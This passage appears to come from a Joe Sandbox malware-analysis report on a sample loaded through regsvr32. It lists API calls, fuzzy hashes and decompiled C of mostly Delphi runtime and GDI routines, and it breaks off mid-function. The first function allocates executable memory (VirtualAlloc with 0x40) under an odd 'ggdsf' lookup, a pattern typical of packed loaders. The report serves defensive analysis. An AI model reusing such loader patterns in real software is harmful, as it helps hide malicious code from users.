0x00436258
0x0043625e
0x00436263
0x00436269
0x0043626e
0x0043626e
0x00436276
0x00436280
0x0043628b
0x00436292
0x00436297
0x0043629c
0x004362a2
0x004362a8
0x004362b4
0x004362bb
0x004362c0
0x004362d1
0x004362d6
0x004362d8
0x004362e3
0x004362ea
0x004362ef
0x004362fa
0x00436304
0x0043630b
0x00436312
0x0043631a
0x00436325
0x0043632b
0x0043632d
0x00436335
0x0043633c
0x00436341
0x0043634f
0x00436354
0x00436359
0x00436359
0x00436365
0x0043636c
0x00436376
0x0043637c
0x00436382
0x00436388
0x0043638e
0x00436394
0x00436397
0x00436397
0x0043639d
0x0043639e

APIs

GetModuleHandleA.KERNEL32(ggdsf,00000000,004363AD), ref: 0043608C
GetKBCodePage.USER32(ggdsf,00000000,004363AD), ref: 004360A5
GetTextColor.GDI32(00000000), ref: 004360AC
VirtualAlloc.KERNELBASE(00000000,-0043AD54,00000000,00000040), ref: 00436150
VirtualAlloc.KERNELBASE(00000000,-0043AD54,00000000,00000040), ref: 00436171
GetTextColor.GDI32(00000000), ref: 004362BB
GetTextColor.GDI32(00000000), ref: 004362EA
GetTextColor.GDI32(00000000), ref: 004362FA
GetGraphicsMode.GDI32(00000000,00000000,00000000,00000000), ref: 00436304
GetGraphicsMode.GDI32(00000000,00000000,00000000,00000000,00000000), ref: 0043631A

Strings

$\@, xrefs: 00436127, 00436150, 00436171
ggdsf, xrefs: 00436087
h`C, xrefs: 00436115

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ColorText$AllocGraphicsModeVirtual$CodeHandleModulePage
String ID: $\@$ggdsf$h`C
API String ID: 377185249-814859246
Opcode ID: a7cef2374a54365ff76daedad6afbe92648b962019b5b132d760ddd5939fdee1
Instruction ID: 0afb05dd79b597d2e64377dd9ae60e39e090a44fbf1b4af862ba7b8855f13fb8
Opcode Fuzzy Hash: a7cef2374a54365ff76daedad6afbe92648b962019b5b132d760ddd5939fdee1
Instruction Fuzzy Hash: 809183B1680600DFE344DF69ED89A1937B6FB58306B146536E584C7AB0D739A860CF4F

Uniqueness

Uniqueness Score: -1.00%

Function 00401498 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00401498(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E0040134C(0x43a5e4, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x0040149b
0x004014a5
0x004014b4
0x004014a7
0x004014a7
0x004014a7
0x004014ba
0x004014c7
0x004014cc
0x004014ce
0x004014d2
0x004014db
0x004014e2
0x004014ee
0x004014f5
0x00000000
0x004014f5
0x004014e2
0x004014fa

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017A1), ref: 004014C7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017A1), ref: 004014EE

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 25841e474b2e6e1a2224229152509cef813f559c2c17045ba871af74079d87d6
Instruction ID: 16994e01d24ec0780f3e54ba180e5b0add7025e8ab28218a07fc37c64baacefc
Opcode Fuzzy Hash: 25841e474b2e6e1a2224229152509cef813f559c2c17045ba871af74079d87d6
Instruction Fuzzy Hash: ADF027B2B002201BEB3095AA0C81F5365D58F857A0F15417BFE4CFF3E9C67D4C0042A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043213C Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E0043213C(intOrPtr* __eax, void* __ebx, void* __ecx) {
				char _v8;
				CHAR* _t9;
				long _t12;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t32;

				_push(0);
				_t21 = __eax;
				_push(_t32);
				_push(0x43219b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E004041D8(__eax, 0x104);
				_t9 = E004040F8( *_t21);
				_t12 = GetTempPathA(E00403EF8( *_t21), _t9); // executed
				E004041D8(_t21, _t12);
				E00432044( *_t21,  &_v8);
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(0x4321a2);
				return E00403C38( &_v8);
			}

0x0043213f
0x00432142
0x00432146
0x00432147
0x0043214c
0x0043214f
0x00432159
0x00432160
0x0043216e
0x00432176
0x00432180
0x00432187
0x0043218a
0x0043218d
0x0043219a

APIs

GetTempPathA.KERNEL32(00000000,00000000,00000000,0043219B,?,?,00000000), ref: 0043216E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: b5293e1e321637ec3ca69eecd1fad22560a8d5a7220c588c0cc3467f1b0a3036
Instruction ID: d4997737cb561c5fac228e4f550690cbbcff7941f1554db0e01f755e98450e06
Opcode Fuzzy Hash: b5293e1e321637ec3ca69eecd1fad22560a8d5a7220c588c0cc3467f1b0a3036
Instruction Fuzzy Hash: 97F0E9703043046FDB01FB2ACD92E0A73ECEB8D704B91447AB600E7691CABCAD048518

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD8 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404BD8(void* __eax) {
				char _v272;
				intOrPtr _t14;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;

				_t16 = __eax;
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0x400000
					GetModuleFileNameA( *_t3,  &_v272, 0x105);
					_t14 = E00404E14(_t19); // executed
					_t18 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t18;
					if(_t18 == 0) {
						_t5 = _t16 + 4; // 0x400000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				return  *((intOrPtr*)(_t16 + 0x10));
			}

0x00404be0
0x00404be6
0x00404bf2
0x00404bf6
0x00404bff
0x00404c04
0x00404c06
0x00404c0b
0x00404c0d
0x00404c10
0x00404c10
0x00404c0b
0x00404c1e

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 00404BF6

Part of subcall function 00404E14: GetModuleFileNameA.KERNEL32(00000000,?,00000105,004363AD,004370A4), ref: 00404E30
Part of subcall function 00404E14: 6DB16790.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,004363AD,004370A4), ref: 00404E4E
Part of subcall function 00404E14: 6DB16790.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,004363AD,004370A4), ref: 00404E6C
Part of subcall function 00404E14: 6DB16790.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00404E8A
Part of subcall function 00404E14: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00404ED3
Part of subcall function 00404E14: RegQueryValueExA.ADVAPI32(?,00405080,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00404F19,?,80000001), ref: 00404EF1
Part of subcall function 00404E14: RegCloseKey.ADVAPI32(?,00404F20,00000000,?,?,00000000,00404F19,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00404F13

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: B16790$FileModuleNameQueryValue$Close
String ID:
API String ID: 1243412037-0
Opcode ID: eb8cd8f938de2e21efcfd4e6face50555eb470063a760edc034a343e4380b472
Instruction ID: 6fbe3a038ca0404dd88a1cb0edccf4b85547eec356345c3f3698207d839309aa
Opcode Fuzzy Hash: eb8cd8f938de2e21efcfd4e6face50555eb470063a760edc034a343e4380b472
Instruction Fuzzy Hash: CCE06DB1A012108FDB10DE98C8C1A8333D8AB88758F000566FE54DF39AD3B4DE6087E4

Uniqueness

Uniqueness Score: -1.00%

Function 00406F78 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406F78(void* __eax, CHAR** __edx) {
				void* _t7;
				long _t9;
				long _t10;
				CHAR** _t14;
				void* _t15;

				_t14 = __edx;
				_t15 = __eax;
				_t10 = E00403EF8(__eax);
				_t7 = E00403D28(__edx, _t10, E004040F8(_t15));
				if(_t10 > 0) {
					_t9 = CharLowerBuffA( *_t14, _t10); // executed
					return _t9;
				}
				return _t7;
			}

0x00406f7b
0x00406f7d
0x00406f86
0x00406f95
0x00406f9c
0x00406fa2
0x00000000
0x00406fa2
0x00406faa

APIs

CharLowerBuffA.USER32(00000000,00000000,?,00000000,00000000,0041765B,00000000,0041769B), ref: 00406FA2

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 32b1b2cf9083ee978beb00b3b129b5a15d858c82b9eea2a6aaa00397fead98c5
Instruction ID: 0692e78d0ff2a7cc4b4de57e092e97947124b63033b2c27c36bca55a49f5f1ba
Opcode Fuzzy Hash: 32b1b2cf9083ee978beb00b3b129b5a15d858c82b9eea2a6aaa00397fead98c5
Instruction Fuzzy Hash: 85D05EA23005112BC700B5BF9CC695F86CD8ED92A6315403FB608F7382EA7CCD1613A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040162C Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040162C(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x43a5e4; // 0x3525c74
				while(_t29 != 0x43a5e4) {
					_t7 = _t29 + 8; // 0x4da0000
					_t17 =  *_t7;
					_t8 = _t29 + 0xc; // 0x100000
					_t27 =  *_t8 + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x00401633
0x00401637
0x0040163e
0x00401653
0x0040165b
0x00401661
0x00401667
0x0040166a
0x004016ae
0x00401672
0x00401672
0x00401675
0x00401678
0x0040167c
0x0040167e
0x0040167e
0x00401684
0x00401686
0x00401686
0x0040168c
0x00401699
0x004016a0
0x004016a2
0x004016a8
0x00000000
0x004016a8
0x004016a0
0x004016ac
0x004016ac
0x004016bd

APIs

VirtualAlloc.KERNEL32(04DA0000,?,00001000,00000004), ref: 00401699

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 290de6943e13b4b56cd4f3d3b43befa8586be2d8930cdc4a15a422b73ea2c916
Instruction ID: 46262fe6b61bc49c6ba312a9c71adca3d2aa5b508e8194dd8c77f2b5683058fd
Opcode Fuzzy Hash: 290de6943e13b4b56cd4f3d3b43befa8586be2d8930cdc4a15a422b73ea2c916
Instruction Fuzzy Hash: 49117371A046015FC3109F19CC80A5BB7E1EBD4750F19C93EE598673A5D63AAC508A89

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00418F18 Relevance: 48.5, APIs: 32, Instructions: 500
windowCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00418F18(struct HBITMAP__* __eax, struct HPALETTE__* __ecx, struct HPALETTE__* __edx, intOrPtr _a4, signed int _a8) {
				struct HBITMAP__* _v8;
				struct HPALETTE__* _v12;
				struct HPALETTE__* _v16;
				struct HPALETTE__* _v20;
				void* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				struct HDC__* _v36;
				BITMAPINFO* _v40;
				void* _v44;
				intOrPtr _v48;
				struct tagRGBQUAD _v52;
				struct HPALETTE__* _v56;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v132;
				intOrPtr _v136;
				void _v140;
				struct tagRECT _v156;
				void* __ebx;
				void* __ebp;
				signed short _t229;
				int _t281;
				signed int _t290;
				signed short _t292;
				struct HBRUSH__* _t366;
				struct HPALETTE__* _t422;
				signed int _t441;
				intOrPtr _t442;
				intOrPtr _t444;
				intOrPtr _t445;
				void* _t455;
				void* _t457;
				void* _t459;
				intOrPtr _t460;

				_t457 = _t459;
				_t460 = _t459 + 0xffffff68;
				_push(_t419);
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v20 = 0;
				if( *(_a8 + 0x18) == 0 ||  *(_a8 + 0x1c) != 0 &&  *(_a8 + 0x20) != 0) {
					if( *(_a8 + 0x18) != 0 ||  *(_a8 + 4) != 0 &&  *(_a8 + 8) != 0) {
						E00418AD4(_v8);
						_v116 = 0;
						if(_v8 != 0 && GetObjectA(_v8, 0x54,  &_v140) < 0x18) {
							E00415E34();
						}
						_v28 = E00415F54(GetDC(0));
						_v32 = E00415F54(CreateCompatibleDC(_v28));
						_push(_t457);
						_push(0x419566);
						_push( *[fs:edx]);
						 *[fs:edx] = _t460;
						if( *(_a8 + 0x18) >= 0x28) {
							_v40 = E00402640(0x42c);
							_push(_t457);
							_push(0x419270);
							_push( *[fs:edx]);
							 *[fs:edx] = _t460;
							 *(_a8 + 0x18) = 0x28;
							 *((short*)(_a8 + 0x24)) = 1;
							if( *(_a8 + 0x26) == 0) {
								_t290 = GetDeviceCaps(_v28, 0xc);
								_t292 = GetDeviceCaps(_v28, 0xe);
								_t419 = _t290 * _t292;
								 *(_a8 + 0x26) = _t290 * _t292;
							}
							memcpy(_v40, _a8 + 0x18, 0xa << 2);
							 *(_a8 + 4) =  *(_a8 + 0x1c);
							_t441 = _a8;
							 *(_t441 + 8) =  *(_a8 + 0x20);
							if( *(_a8 + 0x26) > 8) {
								_t229 =  *(_a8 + 0x26);
								if(_t229 == 0x10) {
									L30:
									if(( *(_a8 + 0x28) & 0x00000003) != 0) {
										E00418ECC(_a8);
										_t104 =  &(_v40->bmiColors); // 0x29
										_t441 = _t104;
										E004027E8(_a8 + 0x40, 0xc, _t441);
									}
								} else {
									_t441 = _a8;
									if(_t229 == 0x20) {
										goto L30;
									}
								}
							} else {
								if( *(_a8 + 0x26) != 1 || _v8 != 0 && _v120 != 0) {
									if(_v16 == 0) {
										if(_v8 != 0) {
											_v24 = SelectObject(_v32, _v8);
											if(_v116 <= 0 || _v120 == 0) {
												asm("cdq");
												GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, 0, _v40, 0);
											} else {
												_t281 = GetDIBColorTable(_v32, 0, 0x100,  &(_v40->bmiColors));
												_t441 = _a8;
												 *(_t441 + 0x38) = _t281;
											}
											SelectObject(_v32, _v24);
										}
									} else {
										_t76 =  &(_v40->bmiColors); // 0x29
										_t441 = _t76;
										E004166E8(_v16, 0xff, _t441);
									}
								} else {
									_t441 = 0;
									_v40->bmiColors = 0;
									 *((intOrPtr*)(_v40 + 0x2c)) = 0xffffff;
								}
							}
							_v20 = E00415F54(CreateDIBSection(_v28, _v40, 0,  &_v44, 0, 0));
							if(_v44 == 0) {
								E00415EAC(_t419);
							}
							if(_v8 == 0 ||  *(_a8 + 0x1c) != _v136 ||  *(_a8 + 0x20) != _v132 ||  *(_a8 + 0x26) <= 8) {
								_pop(_t442);
								 *[fs:eax] = _t442;
								_push(0x419277);
								return E00402660(_v40);
							} else {
								asm("cdq");
								GetDIBits(_v32, _v8, 0, ( *(_a8 + 0x20) ^ _t441) - _t441, _v44, _v40, 0);
								E004036BC();
								E004036BC();
								goto L61;
							}
						} else {
							if(( *(_a8 + 0x10) |  *(_a8 + 0x12)) != 1) {
								_v20 = E00415F54(CreateCompatibleBitmap(_v28,  *(_a8 + 4),  *(_a8 + 8)));
							} else {
								_v20 = E00415F54(CreateBitmap( *(_a8 + 4),  *(_a8 + 8), 1, 1, 0));
							}
							E00415F54(_v20);
							_v24 = E00415F54(SelectObject(_v32, _v20));
							_push(_t457);
							_push(0x419517);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_push(_t457);
							_push(0x419506);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							_v56 = 0;
							_t422 = 0;
							if(_v16 != 0) {
								_v56 = SelectPalette(_v32, _v16, 0);
								RealizePalette(_v32);
							}
							_push(_t457);
							_push(0x4194e4);
							_push( *[fs:eax]);
							 *[fs:eax] = _t460;
							if(_a4 == 0) {
								PatBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), 0xff0062);
							} else {
								_t366 = E00415774( *((intOrPtr*)(_a4 + 0x14)));
								E00410064(0,  *(_a8 + 4), 0,  &_v156,  *(_a8 + 8));
								FillRect(_v32,  &_v156, _t366);
								SetTextColor(_v32, E00414BB0( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
								SetBkColor(_v32, E00414BB0(E00415738( *((intOrPtr*)(_a4 + 0x14)))));
								if( *(_a8 + 0x26) == 1 &&  *((intOrPtr*)(_a8 + 0x14)) != 0) {
									_v52 = E00414BB0( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18)));
									_v48 = E00414BB0(E00415738( *((intOrPtr*)(_a4 + 0x14))));
									SetDIBColorTable(_v32, 0, 2,  &_v52);
								}
							}
							if(_v8 == 0) {
								_pop(_t444);
								 *[fs:eax] = _t444;
								_push(E004194EB);
								if(_v16 != 0) {
									return SelectPalette(_v32, _v56, 0xffffffff);
								}
								return 0;
							} else {
								_v36 = E00415F54(CreateCompatibleDC(_v28));
								_push(_t457);
								_push(0x4194ba);
								_push( *[fs:eax]);
								 *[fs:eax] = _t460;
								_t455 = E00415F54(SelectObject(_v36, _v8));
								if(_v12 != 0) {
									_t422 = SelectPalette(_v36, _v12, 0);
									RealizePalette(_v36);
								}
								if(_a4 != 0) {
									SetTextColor(_v36, E00414BB0( *((intOrPtr*)( *((intOrPtr*)(_a4 + 0xc)) + 0x18))));
									SetBkColor(_v36, E00414BB0(E00415738( *((intOrPtr*)(_a4 + 0x14)))));
								}
								BitBlt(_v32, 0, 0,  *(_a8 + 4),  *(_a8 + 8), _v36, 0, 0, 0xcc0020);
								if(_v12 != 0) {
									SelectPalette(_v36, _t422, 0xffffffff);
								}
								E00415F54(SelectObject(_v36, _t455));
								_pop(_t445);
								 *[fs:eax] = _t445;
								_push(0x4194c1);
								return DeleteDC(_v36);
							}
						}
					} else {
						goto L61;
					}
				} else {
					L61:
					return _v20;
				}
			}

0x00418f19
0x00418f1b
0x00418f21
0x00418f24
0x00418f27
0x00418f2a
0x00418f2f
0x00418f39
0x00418f5c
0x00418f7b
0x00418f82
0x00418f89
0x00418fa2
0x00418fa2
0x00418fb3
0x00418fc4
0x00418fc9
0x00418fca
0x00418fcf
0x00418fd2
0x00418fdc
0x00419046
0x0041904b
0x0041904c
0x00419051
0x00419054
0x0041905a
0x00419064
0x00419072
0x0041907a
0x00419087
0x0041908c
0x00419093
0x00419093
0x004190a7
0x004190b2
0x004190bb
0x004190be
0x004190c9
0x00419199
0x004191a1
0x004191ac
0x004191b3
0x004191b8
0x004191c0
0x004191c0
0x004191ce
0x004191ce
0x004191a3
0x004191a3
0x004191aa
0x00000000
0x00000000
0x004191aa
0x004190cf
0x004190d7
0x00419105
0x00419123
0x00419136
0x0041913d
0x00419172
0x00419182
0x00419145
0x00419157
0x0041915c
0x0041915f
0x0041915f
0x0041918f
0x0041918f
0x00419107
0x0041910a
0x0041910a
0x00419115
0x00419115
0x004190e5
0x004190e8
0x004190ea
0x004190f6
0x004190f6
0x004190d7
0x004191ef
0x004191f6
0x004191f8
0x004191f8
0x00419201
0x0041925c
0x0041925f
0x00419262
0x0041926f
0x00419226
0x00419236
0x00419246
0x0041924b
0x00419250
0x00000000
0x00419250
0x00418fde
0x00418ff0
0x00419034
0x00418ff2
0x00419010
0x00419010
0x0041927a
0x00419291
0x00419296
0x00419297
0x0041929c
0x0041929f
0x004192a4
0x004192a5
0x004192aa
0x004192ad
0x004192b2
0x004192b5
0x004192bb
0x004192cc
0x004192d3
0x004192d3
0x004192da
0x004192db
0x004192e0
0x004192e3
0x004192ea
0x004193c0
0x004192f0
0x004192f6
0x00419314
0x00419324
0x0041933c
0x00419356
0x00419363
0x0041937c
0x0041938f
0x0041939e
0x0041939e
0x00419363
0x004193c9
0x004194c3
0x004194c6
0x004194c9
0x004194d2
0x00000000
0x004194de
0x004194e3
0x004193cf
0x004193dd
0x004193e2
0x004193e3
0x004193e8
0x004193eb
0x00419400
0x00419406
0x00419417
0x0041941d
0x0041941d
0x00419426
0x0041943b
0x00419455
0x00419455
0x0041947d
0x00419486
0x0041948f
0x0041948f
0x0041949e
0x004194a5
0x004194a8
0x004194ab
0x004194b9
0x004194b9
0x004193c9
0x00000000
0x00000000
0x00000000
0x0041956d
0x0041956d
0x00419576
0x00419576

APIs

GetObjectA.GDI32(00000000,00000054,?), ref: 00418F98
GetDC.USER32(00000000), ref: 00418FA9
CreateCompatibleDC.GDI32(00000000), ref: 00418FBA
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 00419006
CreateCompatibleBitmap.GDI32(00000028,00000000,?), ref: 0041902A
SelectObject.GDI32(?,?), ref: 00419287
SelectPalette.GDI32(?,00000000,00000000), ref: 004192C7
RealizePalette.GDI32(?), ref: 004192D3
SetTextColor.GDI32(?,00000000), ref: 0041933C
SetBkColor.GDI32(?,00000000), ref: 00419356
SetDIBColorTable.GDI32(?,00000000,00000002,?,?,00000000,?,00000000,?,?,00000000,00000000,004194E4,?,00000000,00419506), ref: 0041939E
FillRect.USER32 ref: 00419324

Part of subcall function 00414BB0: GetSysColor.USER32(?), ref: 00414BBA

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 004193C0
CreateCompatibleDC.GDI32(00000028), ref: 004193D3
SelectObject.GDI32(?,00000000), ref: 004193F6
SelectPalette.GDI32(?,00000000,00000000), ref: 00419412
RealizePalette.GDI32(?), ref: 0041941D
SetTextColor.GDI32(?,00000000), ref: 0041943B
SetBkColor.GDI32(?,00000000), ref: 00419455
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0041947D
SelectPalette.GDI32(?,00000000,000000FF), ref: 0041948F
SelectObject.GDI32(?,00000000), ref: 00419499
DeleteDC.GDI32(?), ref: 004194B4

Part of subcall function 00415774: CreateBrushIndirect.GDI32(?), ref: 0041581E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapRealizeText$BrushDeleteFillIndirectRectTable
String ID:
API String ID: 1299887459-0
Opcode ID: 173e8ef9e145e7397c0ddb3bb1e7f52078620315d4906dcb0969f85f2d06dd23
Instruction ID: 70a4168c0e715d58d45b514a6df013b6434727b85c9e8b480dccb1dc57ffc9c9
Opcode Fuzzy Hash: 173e8ef9e145e7397c0ddb3bb1e7f52078620315d4906dcb0969f85f2d06dd23
Instruction Fuzzy Hash: 0C12D871A00609AFDB14DFA9C895FDEB7B8EB08314F108556F918EB291C778ED81CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00404C5C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 136
stringlibraryfileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00404C5C(char* __eax, intOrPtr __edx) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAA _v334;
				char _v595;
				void* _t45;
				char* _t54;
				char* _t64;
				void* _t83;
				intOrPtr* _t84;
				char* _t90;
				struct HINSTANCE__* _t91;
				char* _t93;
				void* _t94;
				char* _t95;
				void* _t96;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t91 = GetModuleHandleA("kernel32.dll");
				if(_t91 == 0) {
					L4:
					if( *_v8 != 0x5c) {
